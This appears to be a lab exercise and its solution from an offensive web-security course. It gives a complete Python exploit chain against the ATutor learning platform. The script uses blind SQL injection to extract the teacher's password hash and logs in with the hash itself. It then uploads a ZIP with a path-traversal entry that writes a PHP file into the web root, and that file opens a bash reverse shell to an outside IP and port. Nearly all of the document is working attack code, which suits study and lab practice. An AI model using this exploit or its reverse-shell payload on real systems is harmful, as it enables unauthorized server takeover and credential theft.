4.9.4
Develop a fully functional exploit that will combine the previous vulnerabilities to achieve remote code execution:
- Use the SQL injection to disclose the teacher’s password hash
- Log in with the disclosed hash (using the pass the hash vulnerability)
- Upload a ZIP that contains a PHP file and extract it into the web root
- Gain remote code execution!
Solution
- Combine previous payloads together
- Manually visit each page (not too efficient)
- Requires calling the “bounce” URL - this can be scraped by using bs4
#!/usr/bin/python
import hashlib
import requests
import sys
import zipfile
from cStringIO import StringIO
def gen_hash(passwd, token):
new_hash = passwd + token
return hashlib.sha1(new_hash).hexdigest()
def we_can_login_with_a_hash(ip, hash):
target = "http://%s/ATutor/login.php" % ip
token = "hax"
hashed = gen_hash(hash, token)
d = {
"form_password_hidden" : hashed,
"form_login": "teacher",
"submit": "Login",
"token" : token
}
s = requests.Session()
r = s.post(target, data=d)
res = r.text
if "Create Course: My Start Page" in res or "My Courses: My Start Page" in res:
return True
return False
def searchFriends_enum(ip, inj_str):
for j in range(32, 126):
target = "http://%s/ATutor/mods/_standard/social/index_public.php?q=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
r = requests.get(target)
content_length = int(r.headers['Content-Length'])
if (content_length > 20):
return j
return None
def inject(r, inj, ip):
extracted = ""
for i in range(1, r):
injection_string = "test'/**/or/**/(ascii(substring((%s),%d,1)))=[CHAR]/**/or/**/1='" % (inj,i)
retrieved_value = searchFriends_enum(ip, injection_string)
if(retrieved_value):
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
print "\n(+) done!"
break
return extracted
def _build_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/ATutor/mods/poc/poc.php5', '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/192.168.119.137/4444 0>&1\'");')
z.writestr('imsmanifest.xml', 'invalid xml!')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
def upload_file(ip, hash):
http_proxy = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"
proxyDict = {
"http" : http_proxy,
"https" : https_proxy,
}
target = "http://%s/ATutor/login.php" % ip
token = "hax"
hashed = gen_hash(hash, token)
d = {
"form_password_hidden" : hashed,
"form_login": "teacher",
"submit": "Login",
"token" : token
}
s = requests.Session()
r = s.post(target, data=d, proxies=proxyDict)
new_target = 'http://%s/ATutor/bounce.php?course=16777215' % ip
s.get(new_target, proxies=proxyDict)
new_target = 'http://%s/ATutor/mods/_standard/tests/my_tests.php' % ip
s.get(new_target, proxies=proxyDict)
new_target = 'http://%s/ATutor/mods/_standard/tests/index.php' % ip
s.get(new_target, proxies=proxyDict)
new_target = 'http://%s/ATutor/bounce.php?course=16777215' % ip
s.get(new_target, proxies=proxyDict)
new_target = 'http://%s/ATutor/mods/_standard/tests/my_tests.php' % ip
s.get(new_target, proxies=proxyDict)
new_target = 'http://%s/ATutor/mods/_standard/tests/index.php' % ip
s.get(new_target, proxies=proxyDict)
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://192.168.137.103/ATutor/mods/_standard/tests/index.php",
"Origin": "http://192.168.137.103"
}
with open('poc.zip') as file:
files = {
'submit_import': (None, 'Import'),
'file': ('poc.zip', file),
}
target = "http://%s/ATutor/mods/_standard/tests/import_test.php" % ip
response = s.post(target, headers=headers, proxies=proxyDict, files=files)
res = response.text
if "XML error" in res:
return True
else:
return False
def main():
print "ATutor Unauthenticated Remote Code Execution Exploit"
if len(sys.argv) != 2:
print "(+) usage: %s <target>" % sys.argv[0]
print '(+) eg: %s 192.168.121.103' % sys.argv[0]
sys.exit(-1)
ip = sys.argv[1]
print "(+) Attempting to retrieve username...."
#query = "select/**/login/**/from/**/AT_members"
#username = inject(50, query, ip)
username = "teacher"
print "(+) Username retrieved: %s" % username
print "(+) Attempting to retrieve password hash...."
#query = "select/**/password/**/from/**/AT_members/**/where/**/login/**/=/**/'%s'" % username
#password_hash = inject(50, query, ip)
password_hash = "8635fc4e2a0c7d9d2d9ee40ea8bf2edd76d5757e"
print "(+) Password retrieved: %s" % password_hash
if we_can_login_with_a_hash(ip, password_hash):
print "(+) Can authenticate to application with username and password hash!"
_build_zip()
if upload_file(ip, password_hash):
print "(+) Successfully uploaded malicious file"
target = 'http://%s/ATutor/mods/poc/poc.php5' % ip
requests.get(target)
else:
print"(-) File was not successfully uploaded"
else:
print "(-) Could not authenticate with username and password hash!"
if __name__ == "__main__":
main()
